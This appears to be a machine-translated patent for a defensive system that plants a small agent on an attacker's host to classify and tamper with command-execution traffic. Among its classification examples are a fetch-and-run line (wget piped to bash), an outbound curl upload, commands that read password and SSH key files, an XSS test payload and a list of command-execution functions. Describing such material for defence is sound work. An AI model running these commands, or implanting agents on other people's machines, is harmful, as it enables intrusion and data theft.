Lightweight countermeasure method, system and storage medium based on interference strategy

Abstract

The present invention provides a lightweight countermeasure method, system, and storage medium based on an interference strategy. The method comprises: collecting traffic data packets between an attacker and a protected system and determining whether the traffic data packets are non-static data; if the traffic data packets are non-static data, performing behavioral analysis on the traffic data packets to obtain a behavior type corresponding to the traffic data packets; retrieving an interference strategy corresponding to the traffic data packets from a preset database based on the behavior type; and executing corresponding operations on the communication between the attacker and the protected system based on the interference strategy. The present invention enables faster response, more effective countermeasures against attackers, and enhances comprehensive network security defense capabilities.

Description

Technical Field

[0001] The present invention relates to the field of network security protection technology, and in particular to a lightweight countermeasure method, system and storage medium based on interference strategy. Background Art

[0002] Representative devices of passive defense strategies include IDS, IPS, etc. Intrusion Detection System (IDS): IDS is like a "sentinel" on the network. It monitors the network traffic in the protected system, looks for abnormal activities, and issues alarms. Once suspicious behavior is detected, the IDS notifies the administrator, who will investigate and handle it. Intrusion Prevention System (IPS): IPS goes a step further than IDS. It can not only detect intrusions, but also actively block attacks. Once malicious traffic is detected, the IPS will take measures, such as blocking the IP address and dropping data packets, to protect network security.

[0003] Traditional passive defense strategies focus on protecting target systems, identifying attack behavior signatures by monitoring network traffic and blocking them. However, these strategies have significant drawbacks. IDS relies on administrators to conduct investigations and resolve issues, requiring significant human and material resources to establish and maintain such a security system. After detecting an attack, IPS employs measures such as blocking IP addresses and discarding attacking packets, providing only passive defenses and lacking countermeasures against attackers. Summary of the Invention

[0004] The purpose of the present invention is to provide a lightweight countermeasure method, system and storage medium based on interference strategy, aiming to propose an effective and rapid active countermeasure to replace the traditional passive defense method, thereby improving the comprehensive defense capability of network security.

[0005] In a first aspect, the present invention provides a lightweight countermeasure method based on an interference strategy, which is applied to a honeyhole device. When it is identified that a protected system is communicating with an attacker, the honeyhole device is delivered to the attacker's end. The method includes:

[0006] Collecting traffic data packets between the attacker and the protected system, and determining whether the traffic data packets are non-static data;

[0007] If the traffic data packet is non-static data, performing behavior analysis on the traffic data packet to obtain a behavior type corresponding to the traffic data packet;

[0008] Retrieving an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type;

[0009] A corresponding operation is performed on the communication between the attacker and the protected system according to the interference strategy.

[0010] Furthermore, the step of collecting traffic data packets between the attacker and the protected system and determining whether the traffic data packets are non-static data includes:

[0011] If the traffic data packet is any one or more of a CSS file, an image file, a video file, an audio file, a JavaScript file, an HTML file, a font file, a document file, and an icon file, it is static data;

[0012] If the traffic data packet is any one or more of a PHP script, an ASP.NET page, a Java Servlet, a Ruby on Rails view, Python, a database query result, or an API response, it is non-static data.

[0013] Furthermore, if the traffic data packet is non-static data, the step of performing behavior analysis on the traffic data packet to obtain a behavior type corresponding to the traffic data packet includes:

[0014] Preprocessing the traffic data packets that are non-static data, wherein the preprocessing includes removing duplicate data and converting the data format to obtain preprocessed traffic data packets;

[0015] Extract features from the pre-processed traffic data packets to obtain timing features, content features, and behavior features. The content features include request body, key payload information, protocol type, and source and destination port numbers.

[0016] Acquire a primary behavior type of the traffic data packet according to the request body, where the primary behavior type includes command execution and non-command execution;

[0017] When the primary type is command execution, the secondary behavior type of the traffic data packet is obtained according to the key payload information, and the secondary behavior type includes local type and out-of-band type;

[0018] When the secondary type is the out-of-band type, the timing features, behavioral features, protocol type, and source and destination port numbers are input into the trained SVM model to obtain the third-level type of the traffic data packet, which includes high risk and low risk.

[0019] Furthermore, the behavior types include local command execution, non-command execution, high-risk out-of-band command execution, and low-risk out-of-band command execution;

[0020] The step of retrieving the interference strategy corresponding to the traffic data packet from a preset database according to the behavior type includes:

[0021] If the behavior type is local command execution, the system determines whether the traffic data packet contains sensitive data. If so, the interference strategy is to modify the sensitive data and then respond to the attacker. If not, the interference strategy is to allow the data to pass.

[0022] If the behavior type is non-command execution, the interference strategy is release;

[0023] If the behavior type is high-risk out-of-band command execution, the interference strategy is interception and modification;

[0024] If the behavior type is low-risk outbound command execution, the interference strategy is release.

[0025] Furthermore, the step of obtaining the primary behavior type of the traffic data packet according to the request body, wherein the primary behavior type includes command execution and non-command execution, comprises:

[0026] Determining whether the request body contains any one or more of a system command, a command execution function, and a keyword related to the system command;

[0027] If the request body contains any one or more of a system command, a command execution function, and keywords related to the system command, it is a command execution;

[0028] If the request body does not include any of the system commands, command execution functions, and keywords related to system commands, it is non-command execution.

[0029] Furthermore, when the primary type is command execution, the step of obtaining the secondary behavior type of the traffic data packet according to the key payload information, wherein the secondary behavior type includes a local type and an out-of-band type, comprises:

[0030] Determine whether the key payload information contains an external URL and / or external IP;

[0031] If the key payload information contains external URL and / or external IP, it is an out-of-band type;

[0032] If the key payload information does not contain an external URL and / or an external IP, it is a local type.

[0033] Furthermore, when the secondary type is the out-of-band type, the timing features, behavior features, protocol type, and source and destination port numbers are input into the trained SVM model to obtain the third-level type of the traffic data packet, wherein the third-level type includes high-risk and low-risk. The steps include:

[0034] The timing characteristics include access frequency and access interval, and the behavior characteristics include data transmission volume and page residence time;

[0035] The key payload information, access frequency, access interval, data transmission volume, page residence time, protocol type, and source and destination port numbers are scored and marked respectively, as follows:

[0036] When the access frequency is greater than or equal to the first preset frequency threshold, it is marked as a first score; when the access frequency is less than the first preset frequency threshold, it is marked as zero score;

[0037] When the access interval is greater than or equal to the first preset interval threshold, it is marked as the second score; when the access interval is less than the first preset interval threshold, it is marked as zero;

[0038] When the data transmission volume is greater than or equal to the first preset memory threshold, it is marked as a third score; when the data transmission volume is less than the first preset memory threshold, it is marked as zero;

[0039] When the page dwell time is less than or equal to the first preset time threshold, it is marked as the fourth score; when the page dwell time is greater than the first preset time threshold, it is marked as zero score;

[0040] If the protocol type is any of FTP, SSH, and DNS, it is marked as 5 points; if the protocol type is not any of FTP, SSH, and DNS, it is marked as zero points;

[0041] When the source and destination port numbers are non-standard ports, they are marked as the sixth point; when the source and destination port numbers are standard ports, they are marked as zero points;

[0042] If the key payload information contains a download command, it is marked as a seventh point; if the key payload information does not contain a download command, it is marked as zero point;

[0043] The SVM model is trained according to the labeled features to obtain a trained SVM model;

[0044] Obtain the scores of each feature identified by the SVM model, and add the scores of key payload information, access frequency, access interval, data transmission volume, page residence time, protocol type, and source and destination port numbers to obtain the total score;

[0045] Determine whether the total score is greater than or equal to a first preset score threshold;

[0046] If the total score is greater than or equal to the first preset score threshold, it is a high-risk type;

[0047] If the total score is less than the first preset score threshold, it is a low-risk type.

[0048] In a second aspect, the present invention provides a lightweight countermeasure system based on an interference strategy, the system comprising:

[0049] A traffic collection module is used to collect traffic data packets between the attacker and the protected system and determine whether the traffic data packets are non-static data;

[0050] a behavior analysis module, configured to perform behavior analysis on the traffic data packet if the traffic data packet is non-static data, and obtain a behavior type corresponding to the traffic data packet;

[0051] An interference strategy generating module, configured to retrieve an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type;

[0052] The traffic tampering module is used to perform corresponding operations on the communication between the attacker and the protected system according to the interference strategy.

[0053] In a third aspect, the present invention provides a storage medium storing one or more programs, which, when executed by a processor, implement the above-mentioned lightweight countermeasure method based on interference strategy.

[0054] In a fourth aspect, the present invention provides an electronic device, comprising a memory and a processor, wherein:

[0055] The memory is used to store computer programs;

[0056] When the processor is used to execute the computer program stored in the memory, the above-mentioned lightweight countermeasure method based on the interference strategy is implemented.

[0057] In summary, according to the above-mentioned lightweight countermeasure method based on interference strategy, the original countermeasure idea centered on remote control is abandoned, and the countermeasure idea is expanded from controlling the attacker's host to protecting the system to interfering with the attacker's attack behavior, causing it to spontaneously stop the attack and thus protect the system. Operations such as non-command execution and local command execution are not processed, making the attacker believe that there are vulnerabilities in the system. However, for high-risk external command executions that may expand the results of the attack or get out of the control range of the system, the system intervenes to interfere with the exploitation of the vulnerability, interferes with the attacker's sight, and slows down the attacker's offensive pace, thus protecting the system in a lightweight way. In addition, by dividing the attacker's high-risk command execution operations into external and local types, local command execution operations are generally not intervened; external command execution operations are further divided into low-risk external and high-risk external types, and different interference strategies are implemented respectively to achieve precise countermeasures against different attack behaviors; in addition, by combining large language model recognition technology, interference strategies are generated accurately and efficiently; by decoupling the brain of the counter-attack intelligent agent driven by the large language model from the interference intelligent terminal, the interference intelligent terminal is lightweight, reducing the possibility of the interference intelligent terminal being detected by the attacker and improving the success rate of the countermeasure. BRIEF DESCRIPTION OF THE DRAWINGS

[0058] Figure 1 This is a flow chart of a lightweight countermeasure method based on an interference strategy proposed in one embodiment of the present invention;

[0059] Figure 2 This is a schematic structural diagram of a lightweight countermeasure system based on an interference strategy proposed in one embodiment of the present invention.

[0060] The following specific embodiments will further illustrate the present invention in conjunction with the above-mentioned drawings. DETAILED DESCRIPTION

[0061] In order to make the purpose, technical solutions and advantages of the embodiments of the present invention clearer, the technical solutions in the embodiments of the present invention will be clearly and completely described below. Obviously, the described embodiments are part of the embodiments of the present invention, not all of the embodiments. Based on the embodiments of the present invention, all other embodiments obtained by ordinary technicians in this field without making creative work are within the scope of protection of the present invention. Unless otherwise defined, the technical terms or scientific terms used herein should be the common meanings understood by people with ordinary skills in the field to which the invention belongs. The words "including" and similar words used in this article mean that the elements or objects appearing before the word cover the elements or objects listed after the word and their equivalents, without excluding other elements or objects.

[0062] The concept of "sophons" proposed in this invention is inspired by the science fiction novel "The Three-Body Problem." In the novel, sophons are atomic-sized, microscopic intelligent robots released to Earth by the Trisolarans to monitor and disrupt human technological development. The sophons themselves are delivered to the attacker's system via a honeyhole system. They then filter network communications between the attacker and the protected system, regularly feeding data back to the countering agent's brain, which then generates specific modification rules for them. The sophons are compact and store only a small number of rules, making them invisible to the attacker. Based on these rules, they modify the communication traffic between the attacker and the protected system. For example, for high-risk out-of-band commands executed by the attacker, the sophons tamper with specific commands in the attacker's request or directly intercept the request to prevent the protected system from being compromised. The specific modification rules are generated by the countering agent's brain's jamming strategy generation module. This method confuses the attacker, confusing them and preventing them from identifying the source of the attack, ultimately halting their attack on the protected system.

[0063] Regarding out-of-band command execution and local command execution, the traditional classification method divides network attack types into multiple types (file upload vulnerabilities, XSS vulnerabilities, Sql injection vulnerabilities, remote code execution, etc.). Remote code execution (RCE), also known as remote command execution or command execution, is often the most high-risk type of attack behavior. The present invention focuses on command execution vulnerabilities and divides them into out-of-band command execution and local command execution. Local command execution refers to the attacker executing commands that do not require an external network connection. Out-of-band command execution refers to commands that include communication with an external network. On this basis, out-of-band command execution is divided into two types: low-risk out-of-band type, including: DNS query requests, ping and other request-type command executions; high-risk out-of-band type includes: file downloads, starting monitoring, external connection to the attacker's server, etc.

[0064] See also Figure 1 , shown is a structural diagram of a lightweight countermeasure system based on an interference strategy proposed in one embodiment of the present invention, which includes an interference smart sub-son and a countermeasure intelligent agent brain. The interference smart sub-son includes a traffic collection module and a traffic tampering module; the countermeasure intelligent agent brain includes a behavior analysis module and an interference strategy generation module. The interference smart sub-son is implanted into the attacker system through a honey hole. The traffic collection module collects the network traffic of the attacker system, filters out the traffic between the attacker and the protected system, and feeds it back to the behavior analysis module of the countermeasure intelligent agent brain. The behavior analysis module analyzes the traffic and learns its behavioral characteristics. The interference strategy generation module then generates an interference strategy and returns it to the interference smart sub-son. The interference smart sub modifies the traffic between the attacker and the protected system according to the specific interference strategy to achieve countermeasures against the attacker, specifically:

[0065] A traffic collection module is used to collect traffic data packets between the attacker and the protected system and determine whether the traffic data packets are non-static data;

[0066] a behavior analysis module, configured to perform behavior analysis on the traffic data packet if the traffic data packet is non-static data, and obtain a behavior type corresponding to the traffic data packet;

[0067] An interference strategy generating module, configured to retrieve an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type;

[0068] The traffic tampering module is used to perform corresponding operations on the communication between the attacker and the protected system according to the interference strategy.

[0069] See also Figure 2 , which is a flowchart of a lightweight countermeasure method based on an interference strategy proposed in one embodiment of the present invention, is applied to a honeyhole device. The method includes steps S101 to S104, wherein:

[0070] Step S101: collecting traffic data packets between the attacker and the protected system, and determining whether the traffic data packets are non-static data;

[0071] It should be noted that the present invention is mainly aimed at countermeasures when an attacker's attack behavior has been identified. How to identify the existence of an attack behavior is a prior art and will not be described in detail in this embodiment.

[0072] That is to say, when it is identified that there is communication between the protected system and the attacker, that is, when the attacker is attacking, the honeyhole device with this system will be delivered to the attacker's end, and then the traffic collection module in the interference sophon will use data packet capture technology to monitor the attacker's network card traffic to back up the communication traffic between the attacker and the protected system.

[0073] Furthermore, in determining whether the collected communication traffic is non-static data or static data, if the traffic data packet is any one or more of a CSS file, an image file, a video file, an audio file, a JavaScript file, an HTML file, a font file, a document file, and an icon file, then it is static data;

[0074] If the traffic data packet is any one or more of a PHP script, an ASP.NET page, a Java Servlet, a Ruby on Rails view, Python, a database query result, or an API response, it is non-static data.

[0075] For static data, no countermeasures are required. Therefore, when collecting communication traffic, full traffic mirroring is not always required. For static files such as CSS, images (JPG, PNG, GIF, ICO, etc.), audio files, video files, font files, compressed files, and image files, only logs are recorded, not specific traffic.

[0076] For example, not limitation, for static data, these files usually do not require dynamic processing on the server side and can be sent directly from the server to the client:

[0077] 1. CSS file: .css;

[0078] 2. Image files:

[0079] 2.1. Bitmap images: .jpg, .jpeg, .png, .gif, .bmp, .tiff;

[0080] 2.2. Vector images: .svg, .ai (Adobe Illustrator), .eps (Encapsulated PostScript);

[0081] 3. Video files: .mp4, .webm, .ogg, .avi, .mov, .wmv, .flv;

[0082] 4. Audio files: .mp3, .wav, .aac, .ogg, .flac;

[0083] 5. JavaScript file: .js;

[0084] 6. HTML files: .html, .htm;

[0085] 7. Font files:

[0086] 7.1. Outline-based fonts: .ttf (TrueType Font), .otf (OpenType Font);

[0087] 7.2 Image-based fonts: .eot (Embedded OpenType), .woff (Web Open FontFormat), .woff2;

[0088] 8. Document files: .pdf, .docx, .xlsx, .pptx, .odt, .ods, .odp;

[0089] 9. Icon file: .ico;

[0090] 10. Other static files: such as .zip, .tar, .gz, .7z and other compressed files.

[0091] For non-static data, that is, dynamic data, these files usually require dynamic processing on the server side, which is executed when the user requests and dynamically generates the response content:

[0092] 1. PHP script: .php;

[0093] 2. ASP.NET page: .aspx;

[0094] 3. Java Servlet: .jsp, .jspx;

[0095] 4. Ruby on Rails views: .erb, .haml;

[0096] 5. Python (Django / Flask): Files are usually not sent directly, but template files such as .html and .tpl can be considered as part of dynamic processing;

[0097] 6. Database query results: do not directly correspond to file types, but the results are usually returned in formats such as .json, .xml, and .csv;

[0098] 7. API response: .json, .xml, .html (dynamically generated).

[0099] Step S102: If the traffic data packet is non-static data, then a behavior analysis is performed on the traffic data packet to obtain a behavior type corresponding to the traffic data packet;

[0100] It should be noted that in this step, in order to obtain the specific behavior type of the traffic data packet, it is first necessary to preprocess the traffic data packet for non-static data, and the preprocessing includes removing duplicate data and converting the data format to obtain the preprocessed traffic data packet;

[0101] Then, the preprocessed traffic data packets are subjected to feature extraction to obtain timing features, content features, and behavior features.

[0102] It's important to note that timing features include access time, access frequency, and access interval. Content features include the URL, protocol type, source and destination port numbers, IP address, request header, request body, and key payload information. Behavioral features include the request method, data transfer volume, and page dwell time. Furthermore, key payload information refers to the payload information remaining in the request and response bodies after removing template content. This information is highly correlated with user (attacker) input and may contain attack commands.

[0103] Specifically, in some embodiments, the first-level behavior type of the traffic data packet is obtained according to the request body, and the first-level behavior type includes command execution and non-command execution; when the first-level type is command execution, the second-level behavior type of the traffic data packet is obtained according to the key payload information, and the second-level behavior type includes local type and external type; when the second-level type is external type, the timing characteristics, behavior characteristics, protocol type and source and destination port numbers are input into the trained SVM model to obtain the third-level type of the traffic data packet, and the third-level type includes high risk and low risk; thereby obtaining a complete behavior type, namely local command execution, non-command execution, high-risk external command execution or low-risk external command execution.

[0104] More specifically, in some embodiments, in order to identify the primary type, it is first determined whether the request body contains any one or more of a system command, a command execution function, and a keyword related to a system command;

[0105] If the request body contains any one or more of a system command, a command execution function, and keywords related to the system command, it is a command execution;

[0106] If the request body does not include any of the system commands, command execution functions, and keywords related to system commands, it is non-command execution.

[0107] Examples, not limitations, include system commands such as ls, cat, cur, ifconfig, and ipconfig; command execution functions such as system, exec, shell_exec, and passthru in PHP, and Runtime.getRuntime().exec(), ProcessBuilder, javax.script.ScriptEngineManager, and eval in Java; and keywords related to system commands in Windows and Linux, such as bash, powershell, sh, cmd, and the backtick (`).

[0108] More specifically, in order to identify the secondary type, it is necessary to determine whether the key payload information contains an external URL and / or an external IP;

[0109] If the key payload information contains external URL and / or external IP, it is an out-of-band type;

[0110] If the key payload information does not contain an external URL and / or an external IP, it is a local type.

[0111] More specifically, the specific process for identifying the three-level types is as follows:

[0112] When the access frequency is greater than or equal to the first preset frequency threshold, it is marked as a first score; when the access frequency is less than the first preset frequency threshold, it is marked as zero score;

[0113] When the access interval is greater than or equal to the first preset interval threshold, it is marked as the second score; when the access interval is less than the first preset interval threshold, it is marked as zero;

[0114] When the data transmission volume is greater than or equal to the first preset memory threshold, it is marked as a third score; when the data transmission volume is less than the first preset memory threshold, it is marked as zero;

[0115] When the page dwell time is less than or equal to the first preset time threshold, it is marked as the fourth score; when the page dwell time is greater than the first preset time threshold, it is marked as zero score;

[0116] If the protocol type is any of FTP, SSH, and DNS, it is marked as 5 points; if the protocol type is not any of FTP, SSH, and DNS, it is marked as zero points;

[0117] When the source and destination port numbers are non-standard ports, they are marked as the sixth point; when the source and destination port numbers are standard ports, they are marked as zero points;

[0118] If the key payload information contains a download command, it is marked as a seventh point; if the key payload information does not contain a download command, it is marked as zero point;

[0119] The SVM model is trained according to the labeled features to obtain a trained SVM model;

[0120] Obtain the scores of each feature identified by the SVM model, and add the scores of key payload information, access frequency, access interval, data transmission volume, page residence time, protocol type, and source and destination port numbers to obtain the total score;

[0121] Determine whether the total score is greater than or equal to a first preset score threshold;

[0122] If the total score is greater than or equal to the first preset score threshold, it is a high-risk type;

[0123] If the total score is less than the first preset score threshold, it is a low-risk type.

[0124] It's important to note that in actual attack and defense, the above metrics effectively reflect the potential risks of out-of-band behavior. For example, regular external connections and frequent, long-lasting connections may indicate high-risk privilege maintenance behavior, while the use of protocols involving encrypted transmission is often associated with potential malicious activities such as tunneling. Furthermore, command execution accompanied by large amounts of data is often a common tactic used by attackers, indicating upload or download behavior. Short page dwell times indicate a more targeted attacker, as this brief dwell time often indicates they are rapidly executing a specific task. The use of unusual port numbers may also indicate that current business operations are not normal, increasing potential risks. Furthermore, the presence of external script downloads in key payload information often indicates that attackers are exploiting vulnerabilities to expand their reach, a clearly high-risk behavior. Therefore, these scoring metrics, combined, can effectively assess the risk of external connections.

[0125] For example and not limitation, the score values ​​are as follows:

[0126] Access time / frequency (20 points): Regular, scheduled external connections or multiple attempts to connect to external servers within a short period of time—suspected high-risk external access; occasional external connections—suspected low-risk external access.

[0127] 1. Access interval (20 points): Frequent or regular long-term connections are suspected to be high-risk exogenous types; occasional connections with no obvious regularity are suspected to be low-risk exogenous types.

[0128] 2. Protocol type (20 points): FTP, SSH, DNS, etc., which may involve encrypted tunnel transmission—suspected high-risk outbound traffic; HTTP, ICMP normal business requests or survival test protocols—suspected low-risk outbound traffic.

[0129] 3. Source and destination port numbers (30 points): Using some non-standard ports for communication is suspected to be a high-risk outbound type; using standard common ports such as 80 / 443 is suspected to be a low-risk outbound type.

[0130] 4. Key payload information (60 points): This includes operations to download external data, such as curl http: / / external.com / upload, scp, and wget—suspected high-risk external attacks; and routine connection tests such as pingxxx.dnslog.cn.

[0131] 5. Data Transfer Volume (20 points): A large amount of data with obvious download or upload behavior is suspected to be a high-risk outbound transfer; a small amount of data without large-scale file transfer is suspected to be a low-risk outbound transfer.

[0132] 6. Page dwell time (30 points): Short dwell time and strong purpose - suspected high-risk takeout type; long dwell time and other related interaction data - suspected low-risk takeout type.

[0133] 7. If each characteristic meets the criteria for a "high-risk exogenous type," the patient will receive the corresponding score in parentheses; otherwise, the patient will receive 0 points. If the final total score is greater than or equal to 60, the patient will be classified as a "high-risk exogenous type." Otherwise, the patient will be classified as a "low-risk exogenous type."

[0134] Step S103: Retrieving an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type;

[0135] It should be noted that if the behavior type is local command execution, the traffic data packet is judged to determine whether sensitive data exists. If sensitive data exists, the interference strategy is to modify the sensitive data and then respond to the attacker. If sensitive data does not exist, the interference strategy is to release. For example, if there is no sensitive data leakage command execution (for example, whoami, ls, cat aaa.txt), the release strategy is executed, that is, no action is taken; if there is sensitive data leakage command execution (for example, cat / etc / passwd, cat ~ / .ssh / <private key file>), the response content modification strategy is executed. That is, on the attacker side, when the Honeyhole Zhizi terminal receives the response, it intercepts the response, replaces the sensitive content, and then responds to the attacker again.

[0136] If the behavior type is non-command execution, for example, a parameter contains <script>alert(1)< / script> This type of XSS test payload executes the release policy, that is, no processing is performed.

[0137] If the behavior is a high-risk outbound command execution, such as wget -qO- http: / / example.com / script.sh | bash, an interception or modification policy is implemented. This intercepts and modifies the high-risk outbound command execution, removing the subsequent bash execution. From the attacker's perspective, the command execution was sent and the script download was recorded, but there was no execution result. Unable to identify the cause, this can stymie the attacker and cause them to abandon the attack.

[0138] If the behavior type is low-risk outbound command execution, such as ping xxxx or curl xxxx.dnslog.cn, the release policy is implemented and no action is taken.

[0139] Step S104: performing corresponding operations on the communication between the attacker and the protected system according to the interference strategy.

[0140] In summary, according to the above-mentioned lightweight countermeasure method based on interference strategy, the original countermeasure idea centered on remote control is abandoned, and the countermeasure idea is expanded from controlling the attacker's host to protecting the system to interfering with the attacker's attack behavior, causing it to spontaneously stop the attack and thus protect the system. Operations such as non-command execution and local command execution are not processed, making the attacker believe that there are vulnerabilities in the system. However, for high-risk external command executions that may expand the results of the attack or get out of the control range of the system, the system intervenes to interfere with the exploitation of the vulnerability, interferes with the attacker's sight, and slows down the attacker's offensive pace, thus protecting the system in a lightweight way. In addition, by dividing the attacker's high-risk command execution operations into external and local types, local command execution operations are generally not intervened; external command execution operations are further divided into low-risk external and high-risk external types, and different interference strategies are implemented respectively to achieve precise countermeasures against different attack behaviors; in addition, by combining large language model recognition technology, interference strategies are generated accurately and efficiently; by decoupling the brain of the counter-attack intelligent agent driven by the large language model from the interference intelligent terminal, the interference intelligent terminal is lightweight, reducing the possibility of the interference intelligent terminal being detected by the attacker and improving the success rate of the countermeasure.

[0141] On the other hand, the present invention further proposes a storage medium on which one or more programs are stored. When the programs are executed by a processor, the above-mentioned lightweight countermeasure method based on the interference strategy is implemented.

[0142] On the other hand, the present invention further proposes an electronic device, including a memory and a processor, wherein the memory is used to store computer programs, and the processor is used to execute the computer programs stored in the memory to implement the above-mentioned lightweight countermeasure method based on the interference strategy.

[0143] Those skilled in the art will appreciate that the logic and / or steps represented in the flowcharts or otherwise described herein, for example, can be considered as a sequenced list of executable instructions for implementing logical functions, and can be embodied in any computer-readable medium for use by an instruction execution system, apparatus, or device (e.g., a computer-based system, a system including a processor, or other system that can fetch and execute instructions from an instruction execution system, apparatus, or device), or in conjunction with such instruction execution system, apparatus, or device. For purposes of this specification, "computer-readable medium" can be any device that can contain, store, communicate, propagate, or transmit a program for use by an instruction execution system, apparatus, or device, or in conjunction with such instruction execution system, apparatus, or device.

[0144] More specific examples (a non-exhaustive list) of computer-readable media include the following: an electrical connection with one or more wires (electronic devices), a portable computer disk cartridge (magnetic devices), a random access memory (RAM), a read-only memory (ROM), an erasable and programmable read-only memory (EPROM or flash memory), a fiber optic device, and a portable compact disc read-only memory (CDROM). In addition, the computer-readable medium may even be paper or other suitable medium on which the program is printed, since the program may be obtained electronically, for example, by optically scanning the paper or other medium and then editing, interpreting, or processing it in another suitable manner as necessary, and then storing it in a computer memory.

[0145] It should be understood that various components of the present invention may be implemented using hardware, software, firmware, or a combination thereof. In the aforementioned embodiments, multiple steps or methods may be implemented using software or firmware stored in a memory and executed by a suitable instruction execution system. For example, if implemented using hardware, as in another embodiment, any one or a combination of the following technologies known in the art may be used: a discrete logic circuit having logic gate circuits for implementing logic functions on data signals, an application-specific integrated circuit having suitable combinational logic gate circuits, a programmable gate array (PGA), a field-programmable gate array (FPGA), etc.

[0146] While the embodiments of the present invention have been described in detail above, it will be apparent to those skilled in the art that various modifications and variations of these embodiments are possible. However, it should be understood that such modifications and variations are within the scope and spirit of the present invention as set forth in the claims. Furthermore, the invention described herein is susceptible to other embodiments and may be practiced or implemented in a variety of ways.

Claims

1. A lightweight countermeasure method based on an interference strategy, applied to a honeyhole device, which delivers the honeyhole device to the attacker's end when it is identified that the protected system is communicating with the attacker, characterized in that: The method comprises: Collecting traffic data packets between the attacker and the protected system, and determining whether the traffic data packets are non-static data; If the traffic data packet is non-static data, the steps of performing behavior analysis on the traffic data packet to obtain a behavior type corresponding to the traffic data packet include: Preprocessing the traffic data packets that are non-static data, wherein the preprocessing includes removing duplicate data and converting the data format to obtain preprocessed traffic data packets; Extract features from the pre-processed traffic data packets to obtain timing features, content features, and behavior features. The content features include request body, key payload information, protocol type, and source and destination port numbers. Acquire a primary behavior type of the traffic data packet according to the request body, where the primary behavior type includes command execution and non-command execution; When the primary type is command execution, the secondary behavior type of the traffic data packet is obtained according to the key payload information, and the secondary behavior type includes local type and out-of-band type; When the secondary type is out-of-band, the timing features, behavior features, protocol type, and source and destination port numbers are input into the trained SVM model to obtain the third-level type of the traffic data packet, which includes high-risk and low-risk. The behavior types include local command execution, non-command execution, high-risk external command execution, and low-risk external command execution; and the step of retrieving the interference strategy corresponding to the traffic data packet from a preset database according to the behavior type includes: If the behavior type is local command execution, the system determines whether the traffic data packet contains sensitive data. If so, the interference strategy is to modify the sensitive data and then respond to the attacker. If not, the interference strategy is to allow the data to pass. If the behavior type is non-command execution, the interference strategy is release; If the behavior type is high-risk out-of-band command execution, the interference strategy is interception and modification; If the behavior type is low-risk outbound command execution, the interference strategy is release; A corresponding operation is performed on the communication between the attacker and the protected system according to the interference strategy.

2. The lightweight countermeasure method based on interference strategy according to claim 1 is characterized in that: The step of collecting traffic data packets between the attacker and the protected system and determining whether the traffic data packets are non-static data includes: If the traffic data packet is any one or more of a CSS file, an image file, a video file, an audio file, a JavaScript file, an HTML file, a font file, a document file, and an icon file, it is static data; If the traffic data packet is any one or more of a PHP script, an ASP.NET page, a Java Servlet, a Ruby on Rails view, Python, a database query result, or an API response, it is non-static data.

3. The lightweight countermeasure method based on interference strategy according to claim 1 is characterized in that: The step of obtaining the primary behavior type of the traffic data packet according to the request body, wherein the primary behavior type includes command execution and non-command execution, comprises: Determining whether the request body contains any one or more of a system command, a command execution function, and a keyword related to the system command; If the request body contains any one or more of a system command, a command execution function, and keywords related to the system command, it is a command execution; If the request body does not include any of the system commands, command execution functions, and keywords related to system commands, it is non-command execution.

4. The lightweight countermeasure method based on interference strategy according to claim 1 is characterized in that: When the primary type is command execution, the steps of obtaining the secondary behavior type of the traffic data packet according to the key payload information, wherein the secondary behavior type includes local type and out-of-band type, include: Determine whether the key payload information contains an external URL and / or external IP; If the key payload information contains external URL and / or external IP, it is an out-of-band type; If the key payload information does not contain an external URL and / or an external IP, it is a local type.

5. The lightweight countermeasure method based on interference strategy according to claim 1 is characterized in that: When the secondary type is out-of-band, the steps of inputting the timing features, behavior features, protocol type, and source and destination port numbers into the trained SVM model to obtain the third-level types of the traffic data packets, wherein the third-level types include high-risk and low-risk types, include: The timing characteristics include access frequency and access interval, and the behavior characteristics include data transmission volume and page residence time; The key payload information, access frequency, access interval, data transmission volume, page residence time, protocol type, and source and destination port numbers are scored and marked respectively, as follows: When the access frequency is greater than or equal to the first preset frequency threshold, it is marked as a first score; when the access frequency is less than the first preset frequency threshold, it is marked as zero score; When the access interval is greater than or equal to the first preset interval threshold, it is marked as the second score; when the access interval is less than the first preset interval threshold, it is marked as zero; When the data transmission volume is greater than or equal to the first preset memory threshold, it is marked as a third score; when the data transmission volume is less than the first preset memory threshold, it is marked as zero; When the page dwell time is less than or equal to the first preset time threshold, it is marked as the fourth score; when the page dwell time is greater than the first preset time threshold, it is marked as zero score; If the protocol type is any of FTP, SSH, and DNS, it is marked as 5 points; if the protocol type is not any of FTP, SSH, and DNS, it is marked as zero points; When the source and destination port numbers are non-standard ports, they are marked as the sixth point; when the source and destination port numbers are standard ports, they are marked as zero points; If the key payload information contains a download command, it is marked as a seventh point; if the key payload information does not contain a download command, it is marked as zero point; The SVM model is trained according to the labeled features to obtain a trained SVM model; Obtain the scores of each feature identified by the SVM model, and add the scores of key payload information, access frequency, access interval, data transmission volume, page residence time, protocol type, and source and destination port numbers to obtain the total score; Determine whether the total score is greater than or equal to a first preset score threshold; If the total score is greater than or equal to the first preset score threshold, it is a high-risk type; If the total score is less than the first preset score threshold, it is a low-risk type.

6. A lightweight countermeasure system based on jamming strategy, characterized in that: The system comprises: A traffic collection module is used to collect traffic data packets between the attacker and the protected system and determine whether the traffic data packets are non-static data; The behavior analysis module is configured to perform behavior analysis on the traffic data packet if the traffic data packet is non-static data, and the steps of obtaining a behavior type corresponding to the traffic data packet include: Preprocessing the traffic data packets that are non-static data, wherein the preprocessing includes removing duplicate data and converting the data format to obtain preprocessed traffic data packets; Extract features from the pre-processed traffic data packets to obtain timing features, content features, and behavior features. The content features include request body, key payload information, protocol type, and source and destination port numbers. Acquire a primary behavior type of the traffic data packet according to the request body, where the primary behavior type includes command execution and non-command execution; When the primary type is command execution, the secondary behavior type of the traffic data packet is obtained according to the key payload information, and the secondary behavior type includes local type and out-of-band type; When the secondary type is out-of-band, the timing features, behavior features, protocol type, and source and destination port numbers are input into the trained SVM model to obtain the third-level type of the traffic data packet, which includes high-risk and low-risk. The interference strategy generation module is used for the behavior types including local command execution, non-command execution, high-risk external command execution, and low-risk external command execution; the steps of retrieving the interference strategy corresponding to the traffic data packet from the preset database according to the behavior type include: If the behavior type is local command execution, the system determines whether the traffic data packet contains sensitive data. If so, the interference strategy is to modify the sensitive data and then respond to the attacker. If not, the interference strategy is to allow the data to pass. If the behavior type is non-command execution, the interference strategy is release; If the behavior type is 